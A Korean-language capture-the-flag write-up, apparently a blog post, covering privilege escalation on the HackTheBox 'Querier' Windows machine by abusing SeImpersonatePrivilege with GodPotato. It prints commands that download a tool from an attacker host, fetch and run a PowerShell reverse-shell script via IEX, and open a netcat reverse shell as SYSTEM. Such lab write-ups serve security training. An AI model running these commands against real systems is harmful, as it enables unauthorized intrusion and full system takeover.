[모의 해킹] HackTheBox - Querier Part 2
Querier
OS: Windows
취약점: SeImpersonatePrivilege
mssql-svc 계정이 가지고 있는 취약한 권한을 활용해 System 계정으로 리버스쉘을 생성할 수 있다.
시스템 정보 확인
PS C:\Windows\system32> systeminfo
Host Name: QUERIER
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Member Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00429-00521-62775-AA073
Original Install Date: 1/28/2019, 10:16:50 PM
System Boot Time: 3/11/2025, 3:51:03 PM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2994 Mhz
[02]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2994 Mhz
BIOS Version: VMware, Inc. VMW71.00V.24224532.B64.2408191458, 8/19/2024
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume2
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London
Total Physical Memory: 4,095 MB
Available Physical Memory: 2,747 MB
Virtual Memory: Max Size: 5,503 MB
Virtual Memory: Available: 4,063 MB
Virtual Memory: In Use: 1,440 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB.LOCAL
Logon Server: N/A
Hotfix(s): 5 Hotfix(s) Installed.
[01]: KB4481031
[02]: KB4470788
[03]: KB4480056
[04]: KB4480979
[05]: KB4476976
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0 2
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.125
[02]: fe80::a12e:856:968d:a326
[03]: dead:beef::a12e:856:968d:a326
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
systeminfo 명령어를 사용해면 윈도우 호스트에 대한 정보를 확인할 수 있다. 여기서 주목해야 되는 정보는 윈도우 계정 버전, 적용된 Hotfix다. 이런 정보들을 종합해 해당 윈도우와 관련된 취약점을 파악할 수 있다.
권한 확인
PS C:\Windows\system32> whoami /priv
여기서 눈에 띄는 권한은 SeImpersonatePrivilege다.
SeImpersonatePrivilege 권한을 가지고 있다면 Potato 계열의 공격을 시도할 수 있다.
God Potato
https://github.com/BeichenDream/GodPotato
GitHub - BeichenDream/GodPotato
Contribute to BeichenDream/GodPotato development by creating an account on GitHub.
github.com
God Potato는 SeImpersonatePrivilege를 가지고 있고 NET Framework 2, 3.5, 4 버전이 설치되어 있으면 사용할 수 있다.
PS C:\Windows\system32> Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP
NET Framework 버전은 윈도우 레지스트리 HKLM 하이브에서 확인할 수 있다. 해당 호스트엔 NET 3, 4 버전이 설치되 있고 4 버전이 디폴트로 설정되있는걸 확인할 수 있다. NET Framework 버전에 맞춰 GodPotato-NET4.exe을 사용하자.
PS C:\Users\mssql-svc> Invoke-WebRequest http://10.10.14.27:8000/GodPotatoNET4.exe -o GodPotatoNET4.exe
파이선 http.server 모듈을 사용해서 GodPotatoNET4.exe를 업로드 해주자.
PS C:\Users\mssql-svc> ./GodPotatoNET4.exe -cmd "cmd /c whoami"
GodPotato가 System 계정으로 명령어를 실행하는 것을 확인할 수 있다. 정말 God 그 자체다...!
PS C:\Users\mssql-svc> ./GodPotatoNET4.exe -cmd 'IEX(new-object net.webclient).downloadstring("http://10.10.14.27:8000/Invoke-PowerShellTcp15000.ps1")'
리버스쉘 포트를 15000으로 설정한 nishang의 Invoke-PowerShellTcp.ps1 스크립트를 실행했지만 에러가 발생했다...ㅠ
윈도우용 Netcat을 업로드 하고 Netcat을 사용해서 리버스쉘을 생성해 보자.
https://github.com/int0x33/nc.exe/tree/master
GitHub - int0x33/nc.exe: Netcat for windows 32/64 bit
Netcat for windows 32/64 bit. Contribute to int0x33/nc.exe development by creating an account on GitHub.
github.com
PS C:\Users\mssql-svc> ./GodPotatoNET4.exe -cmd './nc.exe 10.10.14.27 15000 -e "cmd.exe"'
SeImpersonatePrivilege 권한의 취약점과 Potato 계열 공격에 대해 알고 있으면 아주 쉽게 권한 상승을 완료할 수 있다. 하지만 SeImpersonatePrivilege 권한에 대해 모르거나 Potato 계열의 공격을 알고 있지 않다면 엄청난 삽질을 할 수도 있는 머신이니 꼭 취약한 윈도우 권한과 해당 권한들을 사용해서 Exploit할 수 있는 방법을 알아두도록 하자!
이전편 바로가기
https://solo-infosec.tistory.com/4
HackTheBox - Querier Part 1
QuerierOS: WindowsSMB 공유 풀더에 접근해서 파일을 다운로드하고 해당 파일의 vbascript에서 탈취한 계정으로 MS SQL Server를 조작해 리버스쉘을 획득해야 하는 머신이다. 포트 스캐닝nmap -Pn -sS --min-rate
solo-infosec.tistory.com